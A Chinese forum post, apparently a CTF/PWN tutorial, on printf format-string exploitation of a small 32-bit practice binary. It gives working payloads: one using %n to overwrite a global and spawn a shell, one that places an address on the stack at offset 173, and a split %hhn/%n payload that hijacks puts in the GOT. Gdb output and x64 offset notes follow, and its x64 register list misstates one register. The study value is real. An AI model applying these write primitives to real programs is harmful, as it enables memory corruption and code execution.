PWN之printf格式化漏洞

关于printf格式化的输出的利用,分为两种读和写。把实践在这里总结一下。

根据例子具体学习一下,这个例子是elf32下的,和在elf64下有一点差异分开来说吧。

这是在ghidra下的反汇编,ghidra很好用,有想尝试的同学可以去试一下。

Screenshot%20from%202019-07-20%2000-24-53

逻辑上很简单,secret是一个全局变量,在.bss里面没有初始化,在看一下give_shell的定义

Screenshot%20from%202019-07-20%2014-13-15
give_shell应该相当于一个one_gadget,所以这里的基本第一思路是让secert == 0x539成立。跳转到give_shell上。
这里也可以再看一下checksec,

Screenshot%20from%202019-07-20%2014-17-19

就开了一个NX,在这里并没有影响,跟着思路走,我们需要把secert的覆盖成0x539,那么需要首先拿到secert的地址,在进行写。这里普及下用printf写的过程。

在printf输出格式里面有一个 n$,可以去指定输出参数。例如%5$d,会把printf中的format后面第5个参数以整形的格式输出。printf接受 的是不定参数,参数在栈上按顺序依次取,所以在这里是可以来泄露栈上数据的,那么如何用printf来写呢%n这个输出格式化用来记录前面有多少位的输出,如何写到后面对应参数里面,所以这里我们可以通过%n$n进行任意地址写东西。(前面那个n是指的第几个参数,别弄混)。

这里第一步我们需要找到secert的地址,去看看printf对应的参数栈上有没有我们需要的secert的地址,在ghidra里面找到secert的地址是0804a028,可以直接去.bss节里去看。
接着拿gdb打印一下printf的参数栈
printf的参数栈,这里停到call print@plt这一步,看栈的分布,第一个是format的地址,从第二个开始。参数栈分布如下。

可以找到,刚好有我们需要的0x0804a028,并且处于第七个参数的位置。可以看到这里参数栈的分布是连续的,这是在elf32下printf的特点,后面引申一下elf64下的printf的特点。

所以这里已经可以开始构造了,其实payload也很简单%1337x%7$n,注意一下main里面是通过参数项获取的输入的,所以这里 ./printf_pwn12 `echo -e '%1337x%7$n'` 便可以转到shell上。

到这里其实已经结束了,但是想搞一些花的,咱们一步一步来。假设secert地址不在栈原本上咋办呢?,这里我们得先把地址写到栈上,然后再用。首先我们要确定通过参数项传入我们的输入在栈上的什么位置。这里先定位一下输入的字符位置在哪。

停到push eax即format入栈的地方,所以这个eax包含就是format字符串的位置,如图:

我指定的参数项是aaaaaaaaaaaaaaaaa,这里eax也指向他的位置为0xffffd44a,这里需要需要细节主要一下,你如果细心的话会发现这个这个字符串的起始地址,并没有和栈对齐,它的栈的地址的尾数是a,并不是4的倍数,所以这个字符串并不在printf参数项里面,而且具体的位置是随着这个字符串的大小变的。如果我们想用这个字符串,必须让他在栈上对齐。

这里有一个小方法,我们依次指定输入为 aaaaaaaaaaaaaaa....看它什么时候是对齐的。这里并没有从一个a开始,因为4位以上肯定能覆盖一个单元。这里当输入6个a时aaaaaa刚好对齐,所有输入的规律应该为
'aaaaaa'+n*4即后面的数据以4的倍数增长,所以需要根据后面输入情况padding。

这里我们假设的是参数栈上没有secert的地址,所以这里我们要先构造一个secert的地址,然后在用这个构造的secert的地址写。
第一步构造

'\x28\xa0\x04\x08'+'%1333x'+'%100$n'+'aaaaaa'
 --secert-address---1337-4-------- -padding--- 

注意一下padding放在的最后,前面好解,后面这个100是怎么来的,根据前面我们得到format的地址0xffffd44a,和printf,第一个参数的地址0xffffd1a4,大概计算一下大概相差170个参数,具体参数偏移需要运行时来确定,所以这里100想当一个占位符,'%1326x'+'%100$n'这里刚好是12个字符不需要padding。

第二步,找'\x28\xa0\x04\x08'是第几个参数。
还是停在最后一个push eax之前,

可以看到eax为0xffffd444正确的指向了我们的输入。此时的esp是刚好执行第一个参数的,所以简单计算,\x28\xa0\x04\x08应该是第173个参数。接下来我们验证一下对不对,如图成功进入shell。

再进一步来点花的,有没有办法,不修改secert的值也能进入shell呢?如果第一个printf的时候,把got.plt表里puts地址成give_shell怎么样呢?在调用puts的时候直接进入give_shell,其实这里是不行的,回过头看一下get_shell里面的第一行,又一次调用了puts,这样会造成死循环。虽然本题不行,但是我们还是来说一下怎么修改got.plt

我先可以来一下程序是怎样去调用一个函数的,直接看main函数。

gef➤  disas main
Dump of assembler code for function main:
   ...
   0x080484d5 <+65>:	sub    esp,0xc
   0x080484d8 <+68>:	push   0x8048590
   0x080484dd <+73>:	call   0x8048330 <puts@plt>
   0x080484e2 <+78>:	add    esp,0x10
   0x080484e5 <+81>:	mov    eax,0x0
   0x080484ea <+86>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484ed <+89>:	leave  
   0x080484ee <+90>:	lea    esp,[ecx-0x4]
   0x080484f1 <+93>:	ret    
End of assembler dump.

看一下调用puts的过程。首先是call 0x8048330,这个0x8048330其实是puts在plt表上的位置。再去看一下0x8048330是进行的什么过程

gef➤  disas 0x8048330
Dump of assembler code for function puts@plt:
   0x08048330 <+0>:	jmp    DWORD PTR ds:0x804a010
   0x08048336 <+6>:	push   0x8
   0x0804833b <+11>:	jmp    0x8048310
End of assembler dump.

第一步是jmp DWORD PTR ds:0x804a010相当于jmp DWORD PTR 0x804a010,跟着0x804a010你会发现这个地方存储是0x08048336,即下一条指令push 0x8的地址,这是plt的机制,第一次调用函数时,会跳到plt[0],通过动态链接,并patch got.plt表相应函数的真实地址。具体plt和got知识在这里就介绍都这里。

gef➤  x/1x 0x804a010
0x804a010 <puts@got.plt>:	0x08048336

所以这里知道了在调用puts的时候,回调到0x804a010这个地址存储的具体地址下,如果我们把0x804a010这里地址里面存储的地址换成give_shell不就行了。所以我们的目标是对0x804a010写入give_shell的地址0x804846b.这个写入的数据比较大,不像前面的1337,这里需要分割一下,分割也是有策略。依次从低位写到高位,不能从高位开始写,并且保证写的数据大小也是从小到大。

0x804846b =>  0x804 0x84 0x46

第一眼这里可以分成一个2字节和两个1字节。而且数据大小也是从下到大,pwntool也有专门分割函数,但是需要自己padding一下,保证对齐,并指定首参数的偏移量。这里完整叙述一下手工怎么拼。

上面分为了3 个部分,首先根据要写入的地址0x804a010列出这三个地址,从小到大分别为0x804a0100x804a0110x804a012,接着直接拼接:

'\x10\xa0\x04\x08'+'\x11\xa0\x04\x08'+'\x12\xa0\x04\x08'+'%95x%173$hhn%25x%174$hhn%1920x%175$nAAAAAA'

从前面知道format的偏移是173,这是相对的,所以不会改变。这里看见我用了两个%hhn%hhn换成%n也没事,这是只是为了保证AAAAAA`前面字符串长度是4的倍数。接着我们可以在gdb下试一下,看看调用puts是否跳转到了give_shell上。

可以看到got表上的位置确实变成了give_shell的位置0x0804846b,可以继续执行一下看看

上面都是elf32 下的printf,在elf64的printf有点不一样,关于参数的寻址是不一样的。去看看printf的具体的结构

gef➤  disas printf
Dump of assembler code for function __printf:
=> 0x00007ffff7e40560 <+0>:	sub    rsp,0xd8
   0x00007ffff7e40567 <+7>:	mov    QWORD PTR [rsp+0x28],rsi   	#格式化参数1
   0x00007ffff7e4056c <+12>:	mov    QWORD PTR [rsp+0x30],rdx #格式化参数2
   0x00007ffff7e40571 <+17>:	mov    QWORD PTR [rsp+0x38],rcx #格式化参数3
   0x00007ffff7e40576 <+22>:	mov    QWORD PTR [rsp+0x40],r8  #格式化参数4
   0x00007ffff7e4057b <+27>:	mov    QWORD PTR [rsp+0x48],r9  #格式化参数5
   0x00007ffff7e40580 <+32>:	test   al,al //判断浮点数的个数
   0x00007ffff7e40582 <+34>:	je     0x7ffff7e405bb <__printf+91>
   0x00007ffff7e40584 <+36>:	movaps XMMWORD PTR [rsp+0x50],xmm0   |
   0x00007ffff7e40589 <+41>:	movaps XMMWORD PTR [rsp+0x60],xmm1	 |
   0x00007ffff7e4058e <+46>:	movaps XMMWORD PTR [rsp+0x70],xmm2	 |	
   0x00007ffff7e40593 <+51>:	movaps XMMWORD PTR [rsp+0x80],xmm3	 |
   0x00007ffff7e4059b <+59>:	movaps XMMWORD PTR [rsp+0x90],xmm4	 |
   0x00007ffff7e405a3 <+67>:	movaps XMMWORD PTR [rsp+0xa0],xmm5	 |
   0x00007ffff7e405ab <+75>:	movaps XMMWORD PTR [rsp+0xb0],xmm6	 |
   0x00007ffff7e405b3 <+83>:	movaps XMMWORD PTR [rsp+0xc0],xmm7	 |
   0x00007ffff7e405bb <+91>:	mov    rax,QWORD PTR fs:0x28
   0x00007ffff7e405c4 <+100>:	mov    QWORD PTR [rsp+0x18],rax
   0x00007ffff7e405c9 <+105>:	xor    eax,eax
   0x00007ffff7e405cb <+107>:	lea    rax,[rsp+0xe0]
   0x00007ffff7e405d3 <+115>:	mov    rsi,rdi
   0x00007ffff7e405d6 <+118>:	mov    rdx,rsp
   0x00007ffff7e405d9 <+121>:	mov    QWORD PTR [rsp+0x8],rax
   0x00007ffff7e405de <+126>:	lea    rax,[rsp+0x20]
   0x00007ffff7e405e3 <+131>:	mov    QWORD PTR [rsp+0x10],rax
   0x00007ffff7e405e8 <+136>:	mov    rax,QWORD PTR [rip+0x162959]        # 0x7ffff7fa2f48
   0x00007ffff7e405ef <+143>:	mov    DWORD PTR [rsp],0x8
   0x00007ffff7e405f6 <+150>:	mov    rdi,QWORD PTR [rax]
   0x00007ffff7e405f9 <+153>:	mov    DWORD PTR [rsp+0x4],0x30
   0x00007ffff7e40601 <+161>:	call   0x7ffff7e379f0 <_IO_vfprintf_internal>

在elf64中函数传参用前六个参数用传参rdirsiraxrcxr8r9,如果多余的就用在call printf之前push到栈里,这里也可以看到,参数栈也不是连续的,同时也保存了xmm寄存器的状态。所以在计算参数偏移的时候,偏移量应该是6 + (目的地址- ret)/8,这里需要注意一下。
最近开始从Web转PWN,所以会持续发一些关于PWN的姿势,有兴趣的朋友可以一起学习啊,若有错误欢迎指正,若有问题热烈欢迎来打扰我,我很喜欢写东西,大家可以多关注关注,欢迎大家找我做朋友,想认识更多的人。第一次在新论坛发帖,希望90的明天会更好~!

printf_pwn12.zip (2.7 KB)

没有汇编的基础 看这个真的头大

O(∩_∩)O~ , 慢慢学就懂了

感谢分享~学到了